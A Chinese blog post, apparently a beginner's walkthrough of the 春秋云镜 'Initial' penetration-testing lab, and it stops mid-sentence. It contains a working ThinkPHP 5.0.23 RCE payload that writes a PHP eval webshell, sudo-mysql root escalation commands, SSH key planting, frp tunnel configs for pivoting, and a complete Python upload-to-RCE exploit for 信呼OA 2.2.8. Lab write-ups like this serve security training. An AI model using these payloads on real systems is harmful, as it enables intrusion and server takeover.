春秋云镜-Initial
谨以此篇,记录我初入渗透学习之路。
中间有次我frp开多了,直接寄了,所以重新开过靶机,所以外网ip变了一次。
冲了15块买三个沙砾,2个半小时独立完成了,虽然也很菜呃呃,第一次学渗透,啥配置都是现搜的wwwww
首先fscan开扫:
./fscan -h 121.89.223.67
找到开放的80端口,而且还报了错。
http://121.89.223.67/index.php?s=captcha
发现Thinkphp版本是v5.0.23
网上有RCE payload,直接挂马:
POST /index.php?s=captcha
...
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo '%3C%3Fphp%20%40eval%28%24_POST%5B1%5D%29%3B%3F%3E' >shell.php
挂马后蚁剑链接:
shell端发现flag,但无权限读取。
此处也可以反弹shell到vps,要用bash -c包一下:
但是不能用clear,就很烦,所以就没弹,自然没有下文的ssh写公钥操作了。
尝试suid提权:
find / -perm -u=s -type f 2>/dev/null
无回显。
尝试sudo提权:
sudo -l
发现可以NOPASSWD执行mysql
利用mysql提权到root:
这里可以记一下,上传linpeas_linux_amd64到靶机可以搜提权洞
sudo /usr/bin/mysql -e '\! id'
sudo mysql -e '\! cat /root/flag/flag01.txt'
拿到flag1.
netstat -ntpl发现目标开启了ssh,此处可以写ssh公钥连接(vps操作):
此处如果ssh连接,后续就可以不用proxychains,但是我写不进去,就此作罢,还是用proxychains吧,下面学一下就是。
ssh-keygen -t rsa
将生成id_rsa.pub写入到目标.ssh目录下并命名为authorized_keys:
echo 'id_rsa.pub的内容' >>authorized_keys
内容记得根据实际情况更改。
然后登录:
~/.ssh$ ssh [email protected]
接下来就是fscan开扫,上传进靶机:
这里也可以直接蚁剑做。
wget https://github.com/shadow1ng/fscan/releases/download/1.8.2/fscan_amd64 -O fscan
一般来说是下载不下来的,懂的都懂。
我直接本地上传zip,然后解压。
开始踩了个坑,我把windows用的下进去,结果一直报编码错误,后面才发现linux应该用linux的,我真小丑吧....
也可以在蚁剑处直接上传本地的fscan,记得改chmod 777的权限给fscan,或者chmod +x然后查看ip端后开扫:
ip addr
./fscan -h 172.22.1.0/24
查看到目标:
172.22.1.2:DC域控
172.22.1.21:Windows的机器并且存在MS17-010 漏洞
172.22.1.18:信呼OA办公系统
发现存在MS17010(永恒之蓝)和另一个web站点
接下来打OA系统,但是它在内网,如何访问?
--代理。
接下来可以用本地的那个proxifier,也可以用frp,这个还是要学的。
client-frpc.ini:
[common]
server_addr = vps
server_port = 7000
[socks_proxy]
type = tcp
remote_port = 21000
plugin = socks5
server-frps.ini:
[common]
bind_port = 7000
可以蚁剑上传,就在蚁剑上用这个,也可以vps操作,公网上用python开启服务器80,然后ssh连接到的靶机下载frpc:
wget vps:80/frpc
wget vps:80/frpc.ini
chmod +x frpc
./frpc -c ./frpc.ini
server 端(本机)执行:
./frps -c ./frps.ini
从而允许靶机在转发流量到我们VPS的21000端口,这个后面proxychains也会用到。
VPS用的时候,记得关防火墙和开安全组。
也可以使用neoreg进行代理,但这个不太熟。
本机下的Proxifier连接:
address填vps的ip,port也一样,反正跟你设置的frps里面一样,代理规则就按他目标的网卡填:
如果是win开的frp,就用127.0.0.1(一般不会用这个)。
我的做法:
这个端口就是remote port,然后直接访问内网ip:remoteport
内网穿透成功:
也可以试试用Viper的工具进行代理。
然后访问网站http://172.22.xx.xx/
这个OA是信呼v2.2.8,弱密码admin/admin123进去了。
其实也可以直接打poc:
[代码审计]信呼协同办公系统2.2存在文件上传配合云处理函数组合拳RCE_wx6358e1fe5abe0的技术博客_51CTO博客
import requests
session = requests.session()
url_pre = 'http://172.22.1.18/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'
data1 = {
'rempass': '0',
'jmpass': 'false',
'device': '1625884034525',
'ltype': '0',
'adminuser': 'YWRtaW4=',
'adminpass': 'YWRtaW4xMjM=',
'yanzm': ''
}
r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})
filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']
url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'
r = session.get(url3)
r = session.get(url_pre + filepath + "?1=system('dir');")
print(r.text)
这里写了个1.php进去,连接密码就是1,蚁剑连接可以shell里找到flag2。
因为proxifier的application设置那里是Any,所以可以直连。
但是像我贴的传GET
标签:春秋,vps,fscan,Initial,云镜,ssh,php,上传,172.22 From: https://www.cnblogs.com/EddieMurphy-blogs/p/18088090